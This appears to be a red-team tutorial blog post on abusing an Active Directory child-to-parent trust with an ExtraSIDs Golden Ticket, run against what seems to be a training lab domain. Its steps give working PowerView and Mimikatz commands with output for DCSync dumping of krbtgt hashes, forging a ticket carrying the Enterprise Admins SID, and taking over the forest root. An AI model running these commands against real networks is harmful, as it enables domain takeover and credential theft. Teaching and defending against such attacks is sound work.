INTRODUCTION

Domain Trust relationships in Active Directory are fundamental to allowing users from one domain to access resources in other domains. However, from a Red Teaming perspective, these relationships represent an excellent vector for privilege escalation and lateral movement.

In this post, we will explore how to abuse a Child-to-Parent trust relationship within the same forest to escalate privileges from a fully compromised subdomain to the root domain.

KEY CONCEPTS

What is a Domain Trust?

It is a trust mechanism between two domains that enables cross-domain authentication. Its key properties are:

  • Transitive / Non-transitive: If A trusts B, and B trusts C, in a transitive relationship, A trusts C.
  • One-way / Two-way: Defines the flow of the trust relationship and access to resources.

Child-to-Parent Trust

By default, when a subdomain (e.g. child.domain.local) is created under a root domain (e.g. domain.local), a bidirectional and transitive trust relationship is automatically established.

SID Filtering

It is the security mechanism responsible for cleaning or filtering unauthorized SIDs from cross-domain authentication tickets.

  • Between different forests: SID filtering is enabled by default to prevent an external forest from injecting highly privileged SIDs.
  • Within the same forest: It is disabled by default. This means the parent domain will trust additional SIDs traveling in the SID History (SID History) of a ticket generated by the subdomain.

This lack of filtering within the same forest is what allows us to perform the ExtraSIDs attack using Golden Tickets.

ABUSE METHODOLOGY

The classic attack consists of forging a Golden Ticket in the subdomain and injecting the SID of the Enterprise Admins group from the root domain into the Extra SIDs (SID History) field. When presented to the parent domain controller, it will grant us Administrator access across the entire forest.

Data required for the attack

DataDescription
krbtgt NTLM HashThe child domain’s key used to sign the Golden Ticket.
Child Domain SIDBase identifier of the issuing account.
Child Domain FQDNFully Qualified Domain Name (e.g. LOGISTICS.INLANEFREIGHT.LOCAL).
“Enterprise Admins” SIDSID of the group with maximum privileges in the parent domain (identifiable by RID 519).
UsernameA fictitious or existing user for whom the ticket will be created (e.g. hacker).

EXPLOITATION PHASE

We assume the child domain is already 100% compromised and we hold elevated privileges on its Domain Controller (DC).

1. Reconnaissance and Identification

First, we validate the network context we are operating in:

whoami
$env:USERDOMAIN
whoami /fqdn

Confirming child domain context

We confirm we are in the child domain LOGISTICS.INLANEFREIGHT.LOCAL.

2. Mapping Trust Relationships

We use PowerView to identify the active trusts of the domain:

. .\PowerView.ps1
Get-DomainTrust

Domain trust enumeration output

As we can see, there is a bidirectional trust relationship towards the parent domain INLANEFREIGHT.LOCAL.

3. Verifying SID Filtering

We validate whether the SID filtering protection is active for this trust relationship:

Get-ADTrust -Filter * -Server "LOGISTICS.INLANEFREIGHT.LOCAL" | Select-Object Name, SIDFilteringQuarantined, SIDFilteringForestAware

SID filtering verification

Since SIDFilteringQuarantined is set to False, we confirm we can abuse the SID History by injecting additional SIDs.

4. ATTACK EXECUTION (STEP BY STEP)

Step 1: Obtain the Child Domain SID

Get-DomainSID

Child domain SID

  • SID obtained: S-1-5-21-2806153819-209893948-922872689

Step 2: Obtain the “Enterprise Admins” SID from the Parent Domain

We query the SID of the group with maximum privileges in the root domain:

Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | Select-Object objectsid

Enterprise Admins SID

  • SID obtained: S-1-5-21-3842939050-3880317879-2865463114-519 (note the RID 519 corresponding to Enterprise Admins).

Step 3: Extract the krbtgt NTLM Hash from the Subdomain

We perform a DCSync to extract the credentials of the krbtgt account from the child domain using Mimikatz:

mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID   : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9d765b482771505cbe97411065964d5f
    ntlm- 0: 9d765b482771505cbe97411065964d5f
    lm  - 0: 69df324191d4a80f0ed100c10f20561e
  • NTLM Hash obtained: 9d765b482771505cbe97411065964d5f

Step 4: Forge and Inject the Golden Ticket

With all the collected data, we generate the Golden Ticket by adding the Enterprise Admins SID to the /sids parameter and inject it directly into memory (/ptt - Pass-The-Ticket).

💡 Key detail: The user specified in the /user parameter (in this case, hacker) does not need to exist in Active Directory. Since the ticket is signed with the service’s secret key (krbtgt), the system fully trusts the authenticity of the ticket without needing to validate whether the user actually exists in the AD database.

mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

User      : hacker
Domain    : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID       : S-1-5-21-2806153819-209893948-922872689
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime  : 6/6/2026 6:46:09 PM ; 6/3/2036 6:46:09 PM ; 6/3/2036 6:46:09 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully submitted for current session

Golden Ticket forged and injected

We validate that the ticket is active in our current session using klist:

Active Kerberos tickets via klist

5. Access and Compromise of the Parent Domain

With the ticket injected into memory, the root domain will recognize us as a member of the Enterprise Admins group.

We can verify this by listing the shared directory on the parent domain’s DC:

ls \\INLANEFREIGHT.LOCAL\SYSVOL

SYSVOL access on parent domain

Finally, to solidify the absolute compromise of the entire forest, we perform a DCSync against the root domain to extract the hash of its krbtgt account:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\krbtgt /domain:INLANEFREIGHT.LOCAL

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 10/27/2021 8:14:34 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 16e26ba33e455a8c338142af8d89ffbc
    ntlm- 0: 16e26ba33e455a8c338142af8d89ffbc
    lm  - 0: 4562458c201a97fa19365ce901513c21

DCSync against parent domain krbtgt

That is how the Parent Domain is compromised through a Child-to-Parent Trust relationship.

Thanks for reading — I hope this is useful to you. If you have any questions, suggestions, corrections, or simply want to share something about this topic, feel free to reach out through my socials.

Closing thought:

Be the change you wish to see in the world.

Mahatma Gandhi